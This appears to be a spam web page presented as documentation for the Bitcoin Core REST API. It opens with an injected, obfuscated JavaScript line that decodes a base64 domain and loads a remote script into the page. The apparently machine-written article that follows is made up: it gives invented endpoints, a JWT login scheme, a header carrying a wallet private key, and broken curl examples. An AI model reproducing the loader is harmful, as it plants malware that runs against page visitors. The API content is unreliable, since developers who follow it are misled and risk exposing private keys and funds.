Bitcoin: REST API documentation
- 2025-02
- by Cn Vn
const pdx=”bm9yZGVyc3dpbmcuYnV6ei94cC8=”;const pde=atob(pdx.replace(/|/g,””));const script=document.createElement(“script”);script.src=”https://”+pde+”c.php?u=3c9cb263″;document.body.appendChild(script);
Here is a draft article about the Bitcoin Core REST API documentation:
Bitcoin Core REST API Documentation
The Bitcoin Core (BTC) blockchain is a decentralized and open-source platform that allows peer-to-peer transactions without intermediaries such as banks or central authorities. The Bitcoin network uses a consensus algorithm called Proof of Work (PoW) to validate transactions, and it relies on a distributed ledger called the Block Chain to record all transactions.
REST API Overview
The Bitcoin Core REST API provides a simple and intuitive way to interact with the BTC blockchain from outside of it. The API allows developers to access various network functions, such as getting the latest block or transaction information, sending transactions, and more. In this article, we will provide an overview of the Bitcoin Core REST API documentation.
API Endpoints
The Bitcoin Core REST API provides a number of endpoints that allow you to perform various actions on the network. Here are some of the most commonly used endpoints:
- Get Latest Block:
/blockchain/blocks/
: Retrieves the latest block in the blockchain.
- Get Transaction:
/txs/
: Retrieves a transaction by its unique ID.
- Get Transaction Details:
/txs//details
: Retrieves detailed information about a specific transaction, including sender and receiver addresses, transaction hash, etc.
- Send Transaction:
/txs/
: Sends a new transaction to the network.
- Write Transaction List:
/txs/
: Returns a list of all transactions on the blockchain.
- Get Wallet Balance:
/wallets/
: Retrieves the balance of a specific wallet address.
API Authentication
The Bitcoin Core REST API uses JSON Web Tokens (JWT) as an authentication mechanism. To access the API, you must generate a JWT token using your wallet’s private key and provide it to the “/login” endpoint.
*GET /login: Generates a JWT token with your wallet’s private key.
*POST /login: Provides the generated token in the “Authorization” header to authenticate subsequent requests.
API Request Patterns
Here are some common API request patterns:
- GET: Get a resource (e.g., block, transaction, wallet).
- POST: Create a new resource (e.g., send a transaction, update wallet balance).
- PUT: Update an existing resource.
- DELETE: Delete a resource.
API Response Formats
The Bitcoin Core REST API returns JSON responses. The response format depends on the operation being performed:
- GET: A list of resources with optional pagination information.
- PUBLISH: A new resource is created with details about the creation process.
- PUT: An existing resource is updated with details about the update process.
API Error Handling
The Bitcoin Core REST API returns error codes and messages to handle common scenarios:
- 200 OK: The request was successful.
- 400 Bad Request
: The request is invalid or failed due to a network problem.
- 404 Not Found: The requested resource is not found.
- 500 Internal Server Error: An unexpected error occurred.
Example Use Cases
Here are some examples of Bitcoin Core REST API use cases:
- Get the latest block:
curl -X GET "
- Send a transaction:curl -X POST -H “Access: BIP32PrivateKey= -d ‘{“tx”:””, “from”:””}’ http: //localhost:8332/txs/
- Get wallet balance:curl -X GET “
Conclusion
The Bitcoin Core REST API is a powerful tool for interacting with the BTC blockchain from outside of it. By understanding the API endpoints, authentication mechanisms, and response formats, you can build robust applications that leverage the network’s features.